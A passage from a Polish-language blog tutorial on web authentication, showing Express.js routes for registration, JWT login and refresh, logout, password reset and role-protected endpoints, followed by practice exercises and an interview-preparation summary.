    return res.status(400).json({ error: 'Invalid input' });
  }

  // Sprawdź czy user istnieje
  const existingUser = await User.findOne({ email });
  if (existingUser) {
    return res.status(409).json({ error: 'Email already registered' });
  }

  // Hash hasła
  const passwordHash = await bcrypt.hash(password, 12);

  // Utwórz użytkownika
  const user = await User.create({
    email,
    password: passwordHash,
    name,
    role: 'user',
    tokenVersion: 0
  });

  // Wyślij email weryfikacyjny
  const verificationToken = jwt.sign(
    { userId: user.id, type: 'email-verification' },
    ACCESS_SECRET,
    { expiresIn: '24h' }
  );
  await sendVerificationEmail(user.email, verificationToken);

  res.status(201).json({ message: 'User created. Please verify email.' });
});

// Login
app.post('/auth/login', async (req, res) => {
  const { email, password } = req.body;

  // Znajdź użytkownika
  const user = await User.findOne({ email });
  if (!user) {
    return res.status(401).json({ error: 'Invalid credentials' });
  }

  // Sprawdź hasło
  const isValid = await bcrypt.compare(password, user.password);
  if (!isValid) {
    return res.status(401).json({ error: 'Invalid credentials' });
  }

  // Sprawdź weryfikację email
  if (!user.emailVerified) {
    return res.status(403).json({ error: 'Please verify your email' });
  }

  // Generuj tokeny
  const accessToken = jwt.sign(
    { userId: user.id, role: user.role },
    ACCESS_SECRET,
    { expiresIn: '15m' }
  );

  const refreshToken = jwt.sign(
    { userId: user.id, tokenVersion: user.tokenVersion },
    REFRESH_SECRET,
    { expiresIn: '7d' }
  );

  // Ustaw refresh token w cookie
  res.cookie('refreshToken', refreshToken, {
    httpOnly: true,
    secure: process.env.NODE_ENV === 'production',
    sameSite: 'strict',
    maxAge: 7 * 24 * 60 * 60 * 1000
  });

  res.json({ accessToken, user: { id: user.id, name: user.name, role: user.role } });
});

// Refresh token
app.post('/auth/refresh', async (req, res) => {
  const refreshToken = req.cookies.refreshToken;

  if (!refreshToken) {
    return res.status(401).json({ error: 'No refresh token' });
  }

  try {
    const decoded = jwt.verify(refreshToken, REFRESH_SECRET);

    // Sprawdź token version
    const user = await User.findById(decoded.userId);
    if (!user || user.tokenVersion !== decoded.tokenVersion) {
      res.clearCookie('refreshToken');
      return res.status(401).json({ error: 'Token revoked' });
    }

    // Nowy access token
    const accessToken = jwt.sign(
      { userId: user.id, role: user.role },
      ACCESS_SECRET,
      { expiresIn: '15m' }
    );

    res.json({ accessToken });
  } catch (err) {
    res.clearCookie('refreshToken');
    return res.status(401).json({ error: 'Invalid refresh token' });
  }
});

// Logout
app.post('/auth/logout', authenticate, async (req, res) => {
  // Zwiększ token version - unieważnia wszystkie refresh tokeny
  await User.findByIdAndUpdate(req.user.userId, {
    $inc: { tokenVersion: 1 }
  });

  res.clearCookie('refreshToken');
  res.json({ message: 'Logged out' });
});

// Logout everywhere
app.post('/auth/logout-all', authenticate, async (req, res) => {
  await User.findByIdAndUpdate(req.user.userId, {
    $inc: { tokenVersion: 1 }
  });

  res.clearCookie('refreshToken');
  res.json({ message: 'Logged out from all devices' });
});

// Password reset request
app.post('/auth/forgot-password', async (req, res) => {
  const { email } = req.body;
  const user = await User.findOne({ email });

  // Zawsze ta sama odpowiedź (anti-enumeration)
  if (user) {
    const resetToken = jwt.sign(
      { userId: user.id, type: 'password-reset' },
      ACCESS_SECRET,
      { expiresIn: '1h' }
    );
    await sendPasswordResetEmail(user.email, resetToken);
  }

  res.json({ message: 'If email exists, reset link was sent' });
});

// Password reset
app.post('/auth/reset-password', async (req, res) => {
  const { token, newPassword } = req.body;

  try {
    const decoded = jwt.verify(token, ACCESS_SECRET);

    if (decoded.type !== 'password-reset') {
      return res.status(400).json({ error: 'Invalid token type' });
    }

    const passwordHash = await bcrypt.hash(newPassword, 12);

    await User.findByIdAndUpdate(decoded.userId, {
      password: passwordHash,
      $inc: { tokenVersion: 1 } // Unieważnij sesje
    });

    res.json({ message: 'Password updated' });
  } catch (err) {
    res.status(400).json({ error: 'Invalid or expired token' });
  }
});

// Protected route example
app.get('/api/profile', authenticate, async (req, res) => {
  const user = await User.findById(req.user.userId).select('-password');
  res.json(user);
});

// Admin only route
app.get('/api/admin/users', authenticate, authorize('admin'), async (req, res) => {
  const users = await User.find().select('-password');
  res.json(users);
});

Zadania Praktyczne

1. Zaimplementuj kompletny auth flow

Wymagania:

  • Rejestracja z weryfikacją email
  • Login z rate limiting
  • Access + refresh token rotation
  • Password reset flow
  • Logout z unieważnieniem tokenów

2. Dodaj OAuth login

Wymagania:

  • Login with Google i GitHub
  • Łączenie kont (Google + email tego samego usera)
  • Obsługa edge cases (brak email od provider)

3. Zaimplementuj 2FA

Wymagania:

  • TOTP setup z QR code
  • Backup codes
  • Remember device (skip 2FA na zaufanych urządzeniach)
  • Recovery flow

4. Security audit

Przeanalizuj istniejący system auth pod kątem:

  • Timing attacks
  • Rate limiting
  • User enumeration
  • Token storage
  • Password policies
  • Session management

Podsumowanie

Authentication to krytyczny element każdej aplikacji. Na rozmowach rekrutacyjnych skup się na:

  1. Podstawy - authentication vs authorization, session vs token
  2. JWT - struktura, algorytmy, access vs refresh token
  3. Bezpieczeństwo - XSS, CSRF, token storage, rate limiting
  4. OAuth 2.0 - flows, kiedy który, PKCE
  5. Hashowanie haseł - bcrypt, Argon2, cost factor
  6. Implementacja - Passport.js, 2FA, password reset

Pamiętaj: bezpieczeństwo to nie feature, to fundamentalny wymóg. Jeden błąd w auth może skompromitować całą aplikację.

Powrót do blogu

Zostaw komentarz

Pamiętaj, że komentarze muszą zostać zatwierdzone przed ich opublikowaniem.